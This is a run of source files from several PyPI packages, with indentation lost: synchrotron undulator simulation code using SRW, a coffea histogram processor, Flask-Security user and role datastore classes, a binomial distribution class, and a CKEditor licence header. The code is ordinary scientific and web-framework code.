congruence.checkPositiveNumber(self.electron_beam_size_v , "Horizontal Beam Divergence")
congruence.checkPositiveNumber(self.electron_beam_divergence_v , "Vertical Beam Divergence")
congruence.checkStrictlyPositiveNumber(self.source_dimension_wf_h_slit_gap, "Wavefront Propagation H Slit Gap")
congruence.checkStrictlyPositiveNumber(self.source_dimension_wf_v_slit_gap, "Wavefront Propagation V Slit Gap")
congruence.checkStrictlyPositiveNumber(self.source_dimension_wf_h_slit_points, "Wavefront Propagation H Slit Points")
congruence.checkStrictlyPositiveNumber(self.source_dimension_wf_v_slit_points, "Wavefront Propagation V Slit Points")
congruence.checkGreaterOrEqualThan(self.source_dimension_wf_distance, self.get_minimum_propagation_distance(),
"Wavefront Propagation Distance", "Minimum Distance out of the Source: " + str(self.get_minimum_propagation_distance()))
if self.save_srw_result == 1:
congruence.checkDir(self.source_dimension_srw_file)
congruence.checkDir(self.angular_distribution_srw_file)
def get_minimum_propagation_distance(self):
return round(self.get_source_length()*1.01, 6)
def get_source_length(self):
return self.undulator_period*self.number_of_periods
def magnetic_field_from_K(self):
Bv = self.Kv * 2 * pi * codata.m_e * codata.c / (codata.e * self.undulator_period)
Bh = self.Kh * 2 * pi * codata.m_e * codata.c / (codata.e * self.undulator_period)
return Bv, Bh
def createUndulator(self):
#***********Undulator
if self.magnetic_field_from == 0:
By, Bx = self.magnetic_field_from_K() #Peak Vertical field [T]
else:
By = self.Bv
Bx = self.Bh
symmetry_vs_longitudinal_position_horizontal = 1 if self.symmetry_vs_longitudinal_position_horizontal == 0 else -1
symmetry_vs_longitudinal_position_vertical = 1 if self.symmetry_vs_longitudinal_position_vertical == 0 else -1
und = SRWLMagFldU([SRWLMagFldH(1, 'h',
_B=Bx,
_ph=self.initial_phase_horizontal,
_s=symmetry_vs_longitudinal_position_horizontal,
_a=1.0),
SRWLMagFldH(1, 'v',
_B=By,
_ph=self.initial_phase_vertical,
_s=symmetry_vs_longitudinal_position_vertical,
_a=1)],
self.undulator_period, self.number_of_periods) #Planar Undulator
magFldCnt = SRWLMagFldC(_arMagFld=[und],
_arXc = array('d', [self.horizontal_central_position]),
_arYc = array('d', [self.vertical_central_position]),
_arZc = array('d', [self.longitudinal_central_position]))#Container of all Field Elements
return magFldCnt
def createElectronBeam(self, distribution_type=Distribution.DIVERGENCE):
#***********Electron Beam
elecBeam = SRWLPartBeam()
if self.type_of_initialization == 0: # zero
self.moment_x = 0.0
self.moment_y = 0.0
self.moment_z = self.get_default_initial_z()
self.moment_xp = 0.0
self.moment_yp = 0.0
elif self.type_of_initialization == 2: # sampled
self.moment_x = numpy.random.normal(0.0, self.electron_beam_size_h)
self.moment_y = numpy.random.normal(0.0, self.electron_beam_size_v)
self.moment_z = self.get_default_initial_z()
self.moment_xp = numpy.random.normal(0.0, self.electron_beam_divergence_h)
self.moment_yp = numpy.random.normal(0.0, self.electron_beam_divergence_v)
elecBeam.partStatMom1.x = self.moment_x
elecBeam.partStatMom1.y = self.moment_y
elecBeam.partStatMom1.z = self.moment_z
elecBeam.partStatMom1.xp = self.moment_xp
elecBeam.partStatMom1.yp = self.moment_yp
elecBeam.partStatMom1.gamma = self.gamma()
elecBeam.Iavg = self.ring_current #Average Current [A]
#2nd order statistical moments
elecBeam.arStatMom2[0] = 0 if distribution_type==Distribution.DIVERGENCE else (self.electron_beam_size_h)**2 #<(x-x0)^2>
elecBeam.arStatMom2[1] = 0
elecBeam.arStatMom2[2] = (self.electron_beam_divergence_h)**2 #<(x'-x'0)^2>
elecBeam.arStatMom2[3] = 0 if distribution_type==Distribution.DIVERGENCE else (self.electron_beam_size_v)**2 #<(y-y0)^2>
elecBeam.arStatMom2[4] = 0
elecBeam.arStatMom2[5] = (self.electron_beam_divergence_v)**2 #<(y'-y'0)^2>
# energy spread
elecBeam.arStatMom2[10] = (self.electron_energy_spread)**2 #<(E-E0)^2>/E0^2
return elecBeam
def get_source_slit_data(self, direction="b"):
if self.auto_expand==1:
source_dimension_wf_h_slit_points = int(numpy.ceil(0.55*self.source_dimension_wf_h_slit_points)*2)
source_dimension_wf_v_slit_points = int(numpy.ceil(0.55*self.source_dimension_wf_v_slit_points)*2)
source_dimension_wf_h_slit_gap = self.source_dimension_wf_h_slit_gap*1.1
source_dimension_wf_v_slit_gap = self.source_dimension_wf_v_slit_gap*1.1
else:
source_dimension_wf_h_slit_points = self.source_dimension_wf_h_slit_points
source_dimension_wf_v_slit_points = self.source_dimension_wf_v_slit_points
source_dimension_wf_h_slit_gap = self.source_dimension_wf_h_slit_gap
source_dimension_wf_v_slit_gap = self.source_dimension_wf_v_slit_gap
if direction=="h": return source_dimension_wf_h_slit_points, source_dimension_wf_h_slit_gap
elif direction=="v": return source_dimension_wf_v_slit_points, source_dimension_wf_v_slit_gap
else: return source_dimension_wf_h_slit_points, source_dimension_wf_h_slit_gap, source_dimension_wf_v_slit_points, source_dimension_wf_v_slit_gap
def createInitialWavefrontMesh(self, elecBeam):
#****************** Initial Wavefront
wfr = SRWLWfr() #For intensity distribution at fixed photon energy
source_dimension_wf_h_slit_points, \
source_dimension_wf_h_slit_gap, \
source_dimension_wf_v_slit_points, \
source_dimension_wf_v_slit_gap = self.get_source_slit_data(direction="b")
wfr.allocate(1, source_dimension_wf_h_slit_points, source_dimension_wf_v_slit_points) #Numbers of points vs Photon Energy, Horizontal and Vertical Positions
wfr.mesh.zStart = self.source_dimension_wf_distance - self.longitudinal_central_position #Longitudinal Position [m] from Center of Straight Section at which SR has to be calculated
wfr.mesh.eStart = self.energy if self.use_harmonic==1 else self.resonance_energy(harmonic=self.harmonic_number) #Initial Photon Energy [eV]
wfr.mesh.eFin = wfr.mesh.eStart #Final Photon Energy [eV]
wfr.mesh.xStart = -0.5*source_dimension_wf_h_slit_gap #Initial Horizontal Position [m]
wfr.mesh.xFin = -1 * wfr.mesh.xStart #0.00015 #Final Horizontal Position [m]
wfr.mesh.yStart = -0.5*source_dimension_wf_v_slit_gap #Initial Vertical Position [m]
wfr.mesh.yFin = -1 * wfr.mesh.yStart#0.00015 #Final Vertical Position [m]
wfr.partBeam = elecBeam
return wfr
def createCalculationPrecisionSettings(self):
#***********Precision Parameters for SR calculation
meth = 1 #SR calculation method: 0- "manual", 1- "auto-undulator", 2- "auto-wiggler"
relPrec = 0.01 #relative precision
zStartInteg = 0 #longitudinal position to start integration (effective if < zEndInteg)
zEndInteg = 0 #longitudinal position to finish integration (effective if > zStartInteg)
npTraj = 100000 #Number of points for trajectory calculation
useTermin = 1 #Use "terminating terms" (i.e. asymptotic expansions at zStartInteg and zEndInteg) or not (1 or 0 respectively)
arPrecParSpec = [meth, relPrec, zStartInteg, zEndInteg, npTraj, useTermin, 0]
return arPrecParSpec
def createBeamlineSourceDimension(self, wfr):
#***************** Optical Elements and Propagation Parameters
opDrift = SRWLOptD(-self.source_dimension_wf_distance) # back to the center of the undulator
ppDrift = [0, 0, 1., 1, 0,
self.horizontal_range_modification_factor_at_resizing,
self.horizontal_resolution_modification_factor_at_resizing,
self.vertical_range_modification_factor_at_resizing,
self.vertical_resolution_modification_factor_at_resizing,
0, 0, 0]
return SRWLOptC([opDrift],[ppDrift])
def transform_srw_array(self, output_array, mesh):
h_array = numpy.linspace(mesh.xStart, mesh.xFin, mesh.nx)
v_array = numpy.linspace(mesh.yStart, mesh.yFin, mesh.ny)
intensity_array = numpy.zeros((h_array.size, v_array.size))
tot_len = int(mesh.ny * mesh.nx)
len_output_array = len(output_array)
if len_output_array > tot_len:
output_array = numpy.array(output_array[0:tot_len])
elif len_output_array < tot_len:
aux_array = srw_array('d', [0] * len_output_array)
for i in range(len_output_array): aux_array[i] = output_array[i]
output_array = numpy.array(srw_array(aux_array))
else:
output_array = numpy.array(output_array)
output_array = output_array.reshape(mesh.ny, mesh.nx)
for ix in range(mesh.nx):
for iy in range(mesh.ny):
intensity_array[ix, iy] = output_array[iy, ix]
return h_array, v_array, intensity_array
def runSRWCalculation(self, do_cumulated_calculations=False):
self.checkSRWFields()
magFldCnt = self.createUndulator()
elecBeam = self.createElectronBeam(distribution_type=Distribution.DIVERGENCE)
wfr = self.createInitialWavefrontMesh(elecBeam)
arPrecParSpec = self.createCalculationPrecisionSettings()
# This is the convergence parameter. Higher is more accurate but slower!!
# 0.2 is used in the original example. But I think it should be higher. The calculation may then however need too much memory.
sampFactNxNyForProp = 0.0 #0.6 #sampling factor for adjusting nx, ny (effective if > 0)
# 1 calculate intensity distribution ME convoluted for dimension size
arPrecParSpec[6] = sampFactNxNyForProp #sampling factor for adjusting nx, ny (effective if > 0)
srwl.CalcElecFieldSR(wfr, 0, magFldCnt, arPrecParSpec)
arI = array('f', [0]*wfr.mesh.nx*wfr.mesh.ny) #"flat" 2D array to take intensity data
srwl.CalcIntFromElecField(arI, wfr, 6, 1, 3, wfr.mesh.eStart, 0, 0)
# from radiation at the slit we can calculate Angular Distribution and Power
x, z, intensity_angular_distribution = self.transform_srw_array(arI, wfr.mesh)
dx = (x[1] - x[0]) * 1e3 # mm for power computations
dy = (z[1] - z[0]) * 1e3
self.integrated_flux = intensity_angular_distribution.sum()*dx*dy
if self.compute_power:
total_power = self.power_step if self.power_step > 0 else self.integrated_flux * (1e3 * self.energy_step * codata.e)
else:
total_power = None
if self.compute_power and do_cumulated_calculations:
current_energy = numpy.ones(1) * self.energy
current_integrated_flux = numpy.ones(1) * self.integrated_flux
current_power_density = intensity_angular_distribution.copy() * (1e3 * self.energy_step * codata.e)
current_power = total_power
if self.cumulated_energies is None:
self.cumulated_energies = current_energy
self.cumulated_integrated_flux = current_integrated_flux
self.cumulated_power_density = current_power_density
self.cumulated_power = numpy.ones(1) * (current_power)
else:
self.cumulated_energies = numpy.append(self.cumulated_energies, current_energy)
self.cumulated_integrated_flux = numpy.append(self.cumulated_integrated_flux, current_integrated_flux)
self.cumulated_power_density += current_power_density
self.cumulated_power = numpy.append(self.cumulated_power, numpy.ones(1) * (self.cumulated_power[-1] + current_power))
distance = self.source_dimension_wf_distance # relative to the center of the undulator
x_first = numpy.arctan(x/distance)
z_first = numpy.arctan(z/distance)
wfrAngDist = self.createInitialWavefrontMesh(elecBeam)
wfrAngDist.mesh.xStart = numpy.arctan(wfr.mesh.xStart/distance)
wfrAngDist.mesh.xFin = numpy.arctan(wfr.mesh.xFin /distance)
wfrAngDist.mesh.yStart = numpy.arctan(wfr.mesh.yStart/distance)
wfrAngDist.mesh.yFin = numpy.arctan(wfr.mesh.yFin /distance)
if self.save_srw_result == 1: srwl_uti_save_intens_ascii(arI, wfrAngDist.mesh, self.angular_distribution_srw_file)
# for source dimension, back propagation to the source central position
elecBeam = self.createElectronBeam(distribution_type=Distribution.POSITION)
wfr = self.createInitialWavefrontMesh(elecBeam)
optBLSouDim = self.createBeamlineSourceDimension(wfr)
srwl.CalcElecFieldSR(wfr, 0, magFldCnt, arPrecParSpec)
srwl.PropagElecField(wfr, optBLSouDim)
arI = array('f', [0]*wfr.mesh.nx*wfr.mesh.ny) #"flat" 2D array to take intensity data
srwl.CalcIntFromElecField(arI, wfr, 6, 1, 3, wfr.mesh.eStart, 0, 0)
if self.save_srw_result == 1: srwl_uti_save_intens_ascii(arI, wfr.mesh, self.source_dimension_srw_file)
x, z, intensity_source_dimension = self.transform_srw_array(arI, wfr.mesh)
# SWITCH FROM SRW METERS TO SHADOWOUI U.M.
x /= self.workspace_units_to_m
z /= self.workspace_units_to_m
return x, z, intensity_source_dimension, x_first, z_first, intensity_angular_distribution, total_power
def generate_user_defined_distribution_from_srw(self,
beam_out,
coord_x,
coord_z,
intensity,
distribution_type=Distribution.POSITION,
kind_of_sampler=2,
seed=0):
if kind_of_sampler == 2:
s2d = Sampler2D(intensity, coord_x, coord_z)
samples_x, samples_z = s2d.get_n_sampled_points(len(beam_out._beam.rays))
if distribution_type == Distribution.POSITION:
beam_out._beam.rays[:, 0] = samples_x
beam_out._beam.rays[:, 2] = samples_z
elif distribution_type == Distribution.DIVERGENCE:
alpha_x = samples_x
alpha_z = samples_z
beam_out._beam.rays[:, 3] = numpy.cos(alpha_z)*numpy.sin(alpha_x)
beam_out._beam.rays[:, 4] = numpy.cos(alpha_z)*numpy.cos(alpha_x)
beam_out._beam.rays[:, 5] = numpy.sin(alpha_z)
elif kind_of_sampler == 0:
pdf = numpy.abs(intensity/numpy.max(intensity))
pdf /= pdf.sum()
distribution = CustomDistribution(pdf, seed=seed)
sampled = distribution(len(beam_out._beam.rays))
min_value_x = numpy.min(coord_x)
step_x = numpy.abs(coord_x[1]-coord_x[0])
min_value_z = numpy.min(coord_z)
step_z = numpy.abs(coord_z[1]-coord_z[0])
if distribution_type == Distribution.POSITION:
beam_out._beam.rays[:, 0] = min_value_x + sampled[0, :]*step_x
beam_out._beam.rays[:, 2] = min_value_z + sampled[1, :]*step_z
elif distribution_type == Distribution.DIVERGENCE:
alpha_x = min_value_x + sampled[0, :]*step_x
alpha_z = min_value_z + sampled[1, :]*step_z
beam_out._beam.rays[:, 3] = numpy.cos(alpha_z)*numpy.sin(alpha_x)
beam_out._beam.rays[:, 4] = numpy.cos(alpha_z)*numpy.cos(alpha_x)
beam_out._beam.rays[:, 5] = numpy.sin(alpha_z)
elif kind_of_sampler == 1:
min_x = numpy.min(coord_x)
max_x = numpy.max(coord_x)
delta_x = max_x - min_x
min_z = numpy.min(coord_z)
max_z = numpy.max(coord_z)
delta_z = max_z - min_z
dim_x = len(coord_x)
dim_z = len(coord_z)
from orangecontrib.aps.util.random_distributions import Distribution2D, Grid2D, distribution_from_grid
grid = Grid2D((dim_x, dim_z))
grid[..., ...] = intensity.tolist()
d = Distribution2D(distribution_from_grid(grid, dim_x, dim_z), (0, 0), (dim_x, dim_z))
samples = d.get_samples(len(beam_out._beam.rays), seed)
if distribution_type == Distribution.POSITION:
beam_out._beam.rays[:, 0] = min_x + samples[:, 0] * delta_x
beam_out._beam.rays[:, 2] = min_z + samples[:, 1] * delta_z
elif distribution_type == Distribution.DIVERGENCE:
alpha_x = min_x + samples[:, 0] * delta_x
alpha_z = min_z + samples[:, 1] * delta_z
beam_out._beam.rays[:, 3] = numpy.cos(alpha_z) * numpy.sin(alpha_x)
beam_out._beam.rays[:, 4] = numpy.cos(alpha_z) * numpy.cos(alpha_x)
beam_out._beam.rays[:, 5] = numpy.sin(alpha_z)
else:
raise ValueError("Sampler not recognized")
def gamma(self):
return 1e9*self.electron_energy_in_GeV / (codata.m_e * codata.c**2 / codata.e)
def resonance_energy(self, theta_x=0.0, theta_z=0.0, harmonic=1):
gamma = self.gamma()
wavelength = (self.undulator_period / (2.0*gamma **2)) * \
(1 + self.Kv**2 / 2.0 + self.Kh**2 / 2.0 + \
gamma**2 * (theta_x**2 + theta_z ** 2))
wavelength /= harmonic
return m2ev/wavelength
####################################################################################
# SRW FILES
####################################################################################
def checkSRWFilesFields(self):
congruence.checkFile(self.source_dimension_srw_file)
congruence.checkFile(self.angular_distribution_srw_file)
def loadSRWFiles(self):
self.checkSRWFilesFields()
x, z, intensity_source_dimension = self.loadNumpyFormat(self.source_dimension_srw_file)
x_first, z_first, intensity_angular_distribution = self.loadNumpyFormat(self.angular_distribution_srw_file)
# SWITCH FROM SRW METERS TO SHADOWOUI U.M.
x = x/self.workspace_units_to_m
z = z/self.workspace_units_to_m
return x, z, intensity_source_dimension, x_first, z_first, intensity_angular_distribution
def file_load(self, _fname, _read_labels=1):
nLinesHead = 11
hlp = []
with open(_fname,'r') as f:
for i in range(nLinesHead):
hlp.append(f.readline())
ne, nx, ny = [int(hlp[i].replace('#','').split()[0]) for i in [3,6,9]]
ns = 1
testStr = hlp[nLinesHead - 1]
if testStr[0] == '#':
ns = int(testStr.replace('#','').split()[0])
e0,e1,x0,x1,y0,y1 = [float(hlp[i].replace('#','').split()[0]) for i in [1,2,4,5,7,8]]
data = numpy.squeeze(numpy.loadtxt(_fname, dtype=numpy.float64)) #get data from file (C-aligned flat)
allrange = e0, e1, ne, x0, x1, nx, y0, y1, ny
arLabels = ['Photon Energy', 'Horizontal Position', 'Vertical Position', 'Intensity']
arUnits = ['eV', 'm', 'm', 'ph/s/.1%bw/mm^2']
if _read_labels:
arTokens = hlp[0].split(' [')
arLabels[3] = arTokens[0].replace('#','')
arUnits[3] = '';
if len(arTokens) > 1:
arUnits[3] = arTokens[1].split('] ')[0]
for i in range(3):
arTokens = hlp[i*3 + 1].split()
nTokens = len(arTokens)
nTokensLabel = nTokens - 3
nTokensLabel_mi_1 = nTokensLabel - 1
strLabel = ''
for j in range(nTokensLabel):
strLabel += arTokens[j + 2]
if j < nTokensLabel_mi_1: strLabel += ' '
arLabels[i] = strLabel
arUnits[i] = arTokens[nTokens - 1].replace('[','').replace(']','')
return data, None, allrange, arLabels, arUnits
def loadNumpyFormat(self, filename):
data, dump, allrange, arLabels, arUnits = self.file_load(filename)
dim_x = allrange[5]
dim_y = allrange[8]
np_array = data.reshape((dim_y, dim_x))
np_array = np_array.transpose()
x_coordinates = numpy.linspace(allrange[3], allrange[4], dim_x)
y_coordinates = numpy.linspace(allrange[6], allrange[7], dim_y)
return x_coordinates, y_coordinates, np_array
####################################################################################
# ASCII FILES
####################################################################################
def checkASCIIFilesFields(self):
congruence.checkFile(self.x_positions_file)
congruence.checkFile(self.z_positions_file)
congruence.checkFile(self.x_divergences_file)
congruence.checkFile(self.z_divergences_file)
self.x_positions_factor = float(self.x_positions_factor)
self.z_positions_factor = float(self.z_positions_factor)
self.x_divergences_factor = float(self.x_divergences_factor)
self.z_divergences_factor = float(self.z_divergences_factor)
congruence.checkStrictlyPositiveNumber(self.x_positions_factor, "X Position Units to Workspace Units")
congruence.checkStrictlyPositiveNumber(self.z_positions_factor, "Z Position Units to Workspace Units")
congruence.checkStrictlyPositiveNumber(self.x_divergences_factor, "X Divergence Units to rad")
congruence.checkStrictlyPositiveNumber(self.z_divergences_factor, "Z Divergence Units to rad")
def loadASCIIFiles(self):
self.checkASCIIFilesFields()
x_positions = self.extract_distribution_from_file(distribution_file_name=self.x_positions_file)
z_positions = self.extract_distribution_from_file(distribution_file_name=self.z_positions_file)
x_positions[:, 0] *= self.x_positions_factor
z_positions[:, 0] *= self.z_positions_factor
x_divergences = self.extract_distribution_from_file(distribution_file_name=self.x_divergences_file)
z_divergences = self.extract_distribution_from_file(distribution_file_name=self.z_divergences_file)
x_divergences[:, 0] *= self.x_divergences_factor
z_divergences[:, 0] *= self.z_divergences_factor
x, z, intensity_source_dimension = self.combine_distributions(x_positions, z_positions)
x_first, z_first, intensity_angular_distribution = self.combine_distributions(x_divergences, z_divergences)
return x, z, intensity_source_dimension, x_first, z_first, intensity_angular_distribution
def extract_distribution_from_file(self, distribution_file_name):
distribution = []
try:
distribution_file = open(distribution_file_name, "r")
rows = distribution_file.readlines()
for index in range(0, len(rows)):
row = rows[index]
if not row.strip() == "":
values = row.split()
if not len(values) == 2: raise Exception("Malformed file, must be: <value> <spaces> <frequency>")
value = float(values[0].strip())
frequency = float(values[1].strip())
distribution.append([value, frequency])
except Exception as err:
raise Exception("Problems reading distribution file: {0}".format(err))
except:
raise Exception("Unexpected error reading distribution file: ", sys.exc_info()[0])
return numpy.array(distribution)
def combine_distributions(self, distribution_x, distribution_y):
coord_x = distribution_x[:, 0]
coord_y = distribution_y[:, 0]
intensity_x = repmat(distribution_x[:, 1], len(coord_y), 1).transpose()
intensity_y = repmat(distribution_y[:, 1], len(coord_x), 1)
if self.combine_strategy == 0:
convoluted_intensity = numpy.sqrt(intensity_x*intensity_y)
elif self.combine_strategy == 1:
convoluted_intensity = numpy.sqrt(intensity_x**2 + intensity_y**2)
elif self.combine_strategy == 2:
convoluted_intensity = convolve2d(intensity_x, intensity_y, boundary='fill', mode='same', fillvalue=0)
elif self.combine_strategy == 3:
convoluted_intensity = 0.5*(intensity_x + intensity_y)
return coord_x, coord_y, convoluted_intensity | PypiClean |
/KKHEP-0.1.0.tar.gz/KKHEP-0.1.0/kkcoffea/processors.py | import coffea.processor
import coffea.hist
import numpy as np
import awkward as ak
def dataset_normalization(xsecdb, dsid):
"""Calculates the dataset normaliation for DSID using values from `xsecdb`
as cross-section * filter efficiency. If DSID is not in `xsecdb`, then
return 1.
"""
if dsid in xsecdb.index:
return xsecdb.loc[dsid]['crossSection'] * xsecdb.loc[dsid]['genFiltEff']
else:
return 1.0
class HistProcessor(coffea.processor.ProcessorABC):
""" Generic processor for making histograms.
Manages `self.accumulator` dict with histograms. The actions taken are:
- automated grouping of samples
- normalization
## Grouping
All histograms in `self.accumulator` are grouped using
`coffea.hist.Hist.group` as part of the post-processing stage using the
group definition in `self.group`. This step is done after normalizing each
sample independently.
## Normalization
All histograms in `self.accumulator` are normalized in the post-processing
stage to a cross-section defined in `self.xsecdb` using
`dataset_normalization`. The denominator is is the sum of weights of all
events (first element in `mcEventWeights` branch.)
"""
def __init__(self, weight_column=None, xsecdb=None, group=None):
"""
Parameters
- weight_column (str): name of the column to use as event weight
- xsecdb (pandas.DataFrame): cross-section database
- group (dict): group definition for histograms
"""
self.weight_column = weight_column
self.xsecdb=xsecdb
self.group=group
self.accumulator = coffea.processor.dict_accumulator({
'cutflow': coffea.processor.defaultdict_accumulator(float)
})
def weights(self, events, widx=0):
"""
Return a list of weights for the supplied events.
The weights are determined using the following procedure:
1. `events[self.weight_column]` if the weight column is scalar
2. `events[self.weight_column][:,widx]` if the weight column is a list
3. `None` otherwise
"""
# No defined weight column
if self.weight_column is None:
return None
# Scalar weight column
weight_column=events[self.weight_column]
if type(weight_column.type.type) is ak._ext.PrimitiveType:
return weight_column
# List weight column (ie: alternate weights)
if type(weight_column.type.type) is ak._ext.ListType:
return weight_column[:,widx]
return None
def process(self, events):
"""
Create accumulator identity and add to the `cutflow` sum.
"""
output = self.accumulator.identity()
dataset = events.metadata['dataset']
if self.weight_column is not None:
output['cutflow'][dataset] += np.sum(self.weights(events))
else:
output['cutflow'][dataset] += len(events)
return output
def postprocess(self, accumulator):
"""
Normalization and grouping.
"""
norm=None
if self.xsecdb is not None:
norm=dict(map(lambda i: (i[0], dataset_normalization(self.xsecdb, int(i[0]))/i[1]), accumulator['cutflow'].items()))
dataset=coffea.hist.Cat("dataset", "Dataset")
for key in accumulator:
if type(accumulator[key]) is coffea.hist.Hist:
if norm is not None:
accumulator[key].scale(norm, axis='dataset')
if self.group is not None:
accumulator[key]+=accumulator[key].group('dataset',dataset,self.group)
return accumulator | PypiClean |
/Flask-Security-Invenio-3.2.0.tar.gz/Flask-Security-Invenio-3.2.0/flask_security/datastore.py | from .utils import get_identity_attributes
class Datastore(object):
def __init__(self, db):
self.db = db
def commit(self):
pass
def put(self, model):
raise NotImplementedError
def delete(self, model):
raise NotImplementedError
class SQLAlchemyDatastore(Datastore):
def commit(self):
self.db.session.commit()
def put(self, model):
self.db.session.add(model)
return model
def delete(self, model):
self.db.session.delete(model)
class UserDatastore(object):
"""Abstracted user datastore.
:param user_model: A user model class definition
:param role_model: A role model class definition
"""
def __init__(self, user_model, role_model):
self.user_model = user_model
self.role_model = role_model
def _prepare_role_modify_args(self, user, role):
if isinstance(user, str):
user = self.find_user(email=user)
if isinstance(role, str):
role = self.find_role(role)
return user, role
def _prepare_create_user_args(self, **kwargs):
kwargs.setdefault('active', True)
roles = kwargs.get('roles', [])
for i, role in enumerate(roles):
rn = role.name if isinstance(role, self.role_model) else role
# see if the role exists
roles[i] = self.find_role(rn)
kwargs['roles'] = roles
return kwargs
def get_user(self, id_or_email):
"""Returns a user matching the specified ID or email address."""
raise NotImplementedError
def find_user(self, *args, **kwargs):
"""Returns a user matching the provided parameters."""
raise NotImplementedError
def find_role(self, *args, **kwargs):
"""Returns a role matching the provided name."""
raise NotImplementedError
def add_role_to_user(self, user, role):
"""Adds a role to a user.
:param user: The user to manipulate
:param role: The role to add to the user
"""
user, role = self._prepare_role_modify_args(user, role)
if role not in user.roles:
user.roles.append(role)
self.put(user)
return True
return False
def remove_role_from_user(self, user, role):
"""Removes a role from a user.
:param user: The user to manipulate
:param role: The role to remove from the user
"""
rv = False
user, role = self._prepare_role_modify_args(user, role)
if role in user.roles:
rv = True
user.roles.remove(role)
self.put(user)
return rv
def toggle_active(self, user):
"""Toggles a user's active status. Always returns True."""
user.active = not user.active
return True
def deactivate_user(self, user):
"""Deactivates a specified user. Returns `True` if a change was made.
:param user: The user to deactivate
"""
if user.active:
user.active = False
return True
return False
def activate_user(self, user):
"""Activates a specified user. Returns `True` if a change was made.
:param user: The user to activate
"""
if not user.active:
user.active = True
return True
return False
def create_role(self, **kwargs):
"""Creates and returns a new role from the given parameters."""
role = self.role_model(**kwargs)
return self.put(role)
def find_or_create_role(self, name, **kwargs):
"""Returns a role matching the given name or creates it with any
additionally provided parameters.
"""
kwargs["name"] = name
return self.find_role(name) or self.create_role(**kwargs)
def create_user(self, **kwargs):
"""Creates and returns a new user from the given parameters."""
kwargs = self._prepare_create_user_args(**kwargs)
user = self.user_model(**kwargs)
return self.put(user)
def delete_user(self, user):
"""Deletes the specified user.
:param user: The user to delete
"""
self.delete(user)
class SQLAlchemyUserDatastore(SQLAlchemyDatastore, UserDatastore):
"""A SQLAlchemy datastore implementation for Flask-Security that assumes the
use of the Flask-SQLAlchemy extension.
"""
def __init__(self, db, user_model, role_model):
SQLAlchemyDatastore.__init__(self, db)
UserDatastore.__init__(self, user_model, role_model)
def get_user(self, identifier):
from sqlalchemy import func as alchemyFn
if self._is_numeric(identifier):
return self.user_model.query.get(identifier)
for attr in get_identity_attributes():
query = alchemyFn.lower(getattr(self.user_model, attr)) \
== alchemyFn.lower(identifier)
rv = self.user_model.query.filter(query).first()
if rv is not None:
return rv
def _is_numeric(self, value):
try:
int(value)
except (TypeError, ValueError):
return False
return True
def find_user(self, **kwargs):
return self.user_model.query.filter_by(**kwargs).first()
def find_role(self, role):
return self.role_model.query.filter_by(name=role).first()
class SQLAlchemySessionUserDatastore(SQLAlchemyUserDatastore,
SQLAlchemyDatastore):
"""A SQLAlchemy datastore implementation for Flask-Security that assumes the
use of the flask_sqlalchemy_session extension.
"""
def __init__(self, session, user_model, role_model):
class PretendFlaskSQLAlchemyDb(object):
""" This is a pretend db object, so we can just pass in a session.
"""
def __init__(self, session):
self.session = session
SQLAlchemyUserDatastore.__init__(self,
PretendFlaskSQLAlchemyDb(session),
user_model,
role_model) | PypiClean |
/OI_distributions-0.1.tar.gz/OI_distributions-0.1/OI_distributions/Binomialdistribution.py | import math
import matplotlib.pyplot as plt
from .Generaldistribution import Distribution
class Binomial(Distribution):
""" Binomial distribution class for calculating and
visualizing a Binomial distribution.
Attributes:
mean (float) representing the mean value of the distribution
stdev (float) representing the standard deviation of the distribution
data_list (list of floats) a list of floats to be extracted from the data file
p (float) representing the probability of an event occurring
n (int) number of trials
TODO: Fill out all functions below
"""
def __init__(self, prob=.5, size=20):
self.n = size
self.p = prob
Distribution.__init__(self, self.calculate_mean(), self.calculate_stdev())
def calculate_mean(self):
"""Function to calculate the mean from p and n
Args:
None
Returns:
float: mean of the data set
"""
self.mean = self.p * self.n
return self.mean
def calculate_stdev(self):
"""Function to calculate the standard deviation from p and n.
Args:
None
Returns:
float: standard deviation of the data set
"""
self.stdev = math.sqrt(self.n * self.p * (1 - self.p))
return self.stdev
def replace_stats_with_data(self):
"""Function to calculate p and n from the data set
Args:
None
Returns:
float: the p value
float: the n value
"""
self.n = len(self.data)
self.p = 1.0 * sum(self.data) / len(self.data)
self.mean = self.calculate_mean()
self.stdev = self.calculate_stdev()
def plot_bar(self):
"""Function to output a histogram of the instance variable data using
matplotlib pyplot library.
Args:
None
Returns:
None
"""
plt.bar(x = ['0', '1'], height = [(1 - self.p) * self.n, self.p * self.n])
plt.title('Bar Chart of Data')
plt.xlabel('outcome')
plt.ylabel('count')
def pdf(self, k):
"""Probability density function calculator for the gaussian distribution.
Args:
x (float): point for calculating the probability density function
Returns:
float: probability density function output
"""
a = math.factorial(self.n) / (math.factorial(k) * (math.factorial(self.n - k)))
b = (self.p ** k) * (1 - self.p) ** (self.n - k)
return a * b
def plot_bar_pdf(self):
"""Function to plot the pdf of the binomial distribution
Args:
None
Returns:
list: x values for the pdf plot
list: y values for the pdf plot
"""
x = []
y = []
# calculate the x values to visualize
for i in range(self.n + 1):
x.append(i)
y.append(self.pdf(i))
# make the plots
plt.bar(x, y)
plt.title('Distribution of Outcomes')
plt.ylabel('Probability')
plt.xlabel('Outcome')
plt.show()
return x, y
def __add__(self, other):
"""Function to add together two Binomial distributions with equal p
Args:
other (Binomial): Binomial instance
Returns:
Binomial: Binomial distribution
"""
try:
assert self.p == other.p, 'p values are not equal'
except AssertionError as error:
raise
result = Binomial()
result.n = self.n + other.n
result.p = self.p
result.calculate_mean()
result.calculate_stdev()
return result
def __repr__(self):
"""Function to output the characteristics of the Binomial instance
Args:
None
Returns:
string: characteristics of the Gaussian
"""
return "mean {}, standard deviation {}, p {}, n {}".\
format(self.mean, self.stdev, self.p, self.n) | PypiClean |
/Flask-CKEditor-0.4.6.tar.gz/Flask-CKEditor-0.4.6/flask_ckeditor/static/full/lang/si.js | /*
Copyright (c) 2003-2020, CKSource - Frederico Knabben. All rights reserved.
For licensing, see LICENSE.md or https://ckeditor.com/license
*/
